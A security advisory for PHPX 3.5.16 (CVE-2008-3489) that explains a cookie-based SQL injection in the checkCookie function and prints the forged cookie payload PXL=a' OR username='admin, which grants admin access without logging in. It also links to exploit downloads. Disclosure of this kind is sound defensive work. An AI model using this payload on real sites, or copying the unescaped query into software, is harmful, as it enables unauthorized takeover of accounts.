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Arrow  Topic :

PHPX 3.5.16 Cookie Poisoning and Login Bypass Vulnerability


Arrow  SecurityAlert : 4112
Arrow  CVE : CVE-2008-3489
Arrow  CWE : CWE-89
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4431
Arrow  Credit : gnix
Arrow  Published : 07.08.2008

Arrow  Affected Software : PHPX, PHPX, 3.5.16



Arrow  Advisory Content :  

=======================================================================

= gnix =

gnixmail at gmail dot com
http://gnix.netsons.org


Application: phpx
http://www.phpx.org/project.php (stable version)
Versions: 3.5.16
Platforms: All
Bug: Cookie poisoning / Login bypass
Date: 31 July 2008



=======================================================================

1. Intro
2. Cookie poisoning and login bypass



=======================================================================

1. Intro
========

PHPX is a web portal system, blog,Content Management System (CMS), forums,
and more. All files are currently hosted at
http://www.phpx.org/project.php



=======================================================================

2. Cookie poisoning and login bypass
====================================

Every file in phpx-3.5.16/ directory have two lines of code: one for
include includes/functions.inc.php, and another to create a website object.

website's constructor will call checkCookie.


Source code (includes/functions.inc.php)
---------------------------------------------------------------------
class website {
...

function website(){
...

$this->checkCookie();
---------------------------------------------------------------------


The function checkCookie set the user_id if PXL cookie is set and the
query return an user_id, and an username.


Vulnerable code (includes/functions.inc.php lines 75 to 89)
---------------------------------------------------------------------
function checkCookie(){

if ($_COOKIE[PXL]){
list($user_id, $username) = $this->core->db->fetch("select user_id,
username from users where sess = '$_COOKIE[PXL]'");
if (!$user_id){
setcookie("PXL", '', time() - 60, '', '', $this->core->secure);
$head = "Location: http://" . $_SERVER["HTTP_HOST"] .
$_SERVER["REQUEST_URI"];
header($head);
}
else {
if (strtolower($username) == "xnuiem"){ $this->debug = 1; }
$this->user_id = $user_id;
}
}
}
---------------------------------------------------------------------


This user_id is then used in the website constructor for set the user_id
of the core class.


Source code (includes/functions.inc.php line 32)
---------------------------------------------------------------------
$this->core->user_id = $this->user_id;
---------------------------------------------------------------------


Now if you want to get the admin privileges and by pass the login, you
have to create a cookie like this below:


---------------------------------------------------------------------
PXL=a' OR username='admin
---------------------------------------------------------------------


To do that you can use 'Modify Headers'.



=======================================================================



Arrow  References :

http://securityreason.com/expldownload/1/4431/1 (Exploit)
http://www.securityfocus.com/bid/30478
http://www.milw0rm.com/exploits/6176




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